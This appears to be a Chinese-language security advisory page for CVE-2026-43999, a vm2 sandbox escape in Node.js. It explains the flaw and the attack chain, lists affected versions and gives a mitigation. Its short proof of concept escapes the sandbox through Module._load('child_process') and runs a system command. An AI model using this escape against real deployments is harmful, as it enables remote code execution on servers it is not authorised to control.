IPBUF安全漏洞报告
English
CVE-2026-43999 CVSS 9.9 严重

CVE-2026-43999 vm2沙箱绕过致远程代码执行漏洞

披露日期: 2026-05-13

漏洞信息

漏洞编号
CVE-2026-43999
漏洞类型
沙箱绕过、远程代码执行
CVSS评分
9.9 严重
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
vm2

相关标签

RCESandbox EscapeNode.jsvm2CVE-2026-43999

漏洞概述

vm2是Node.js的一个开源沙箱库。在3.11.0版本之前,当NodeVM配置允许module内置模块或使用通配符'*'时,其内置白名单机制可被绕过。攻击者可利用Module._load()在主机上下文中加载任意模块(如child_process),从而突破沙箱限制执行任意代码,导致远程代码执行风险。

技术细节

该漏洞源于NodeVM对内置模块引用的处理不当。当配置项中允许'module'或使用了通配符'*'时,沙箱内的代码可以访问Node.js原生的Module._load()接口。此接口直接在宿主环境中解析并加载模块,完全避开了vm2原本设计的白名单检查机制。攻击者通过构造恶意脚本,调用Module._load('child_process')即可引入被禁用的敏感模块,进而在宿主机上下文中执行系统命令,实现沙箱逃逸和RCE。

攻击链分析

STEP 1
侦察
攻击者确认目标应用使用了vm2库,且配置中允许了'module'内置模块或使用了通配符'*'。
STEP 2
构造Payload
攻击者编写恶意JavaScript代码,利用Module._load()方法尝试加载受限模块(如child_process)。
STEP 3
执行攻击
将恶意代码输入到沙箱环境中运行。
STEP 4
绕过限制
Module._load()在宿主上下文中执行,成功绕过vm2的白名单检查,加载child_process模块。
STEP 5
获取权限
利用child_process执行系统命令,实现远程代码执行,控制服务器。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
const {NodeVM} = require('vm2'); // Vulnerable configuration: allows 'module' or uses wildcard '*' const vm = new NodeVM({ require: { external: true, builtin: ['*'], }, }); // Malicious code running inside the sandbox const code = ` // Use Module._load to bypass the whitelist restrictions const process = Module._load('child_process'); // Execute arbitrary command (e.g., 'whoami') const output = process.execSync('whoami').toString(); output; `; console.log(vm.run(code));

影响范围

vm2 < 3.11.0

防御指南

临时缓解措施
如果无法立即升级,请检查vm2的初始化配置,确保require.builtin列表中不包含'module',且绝对不要使用通配符'*'来允许内置模块。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表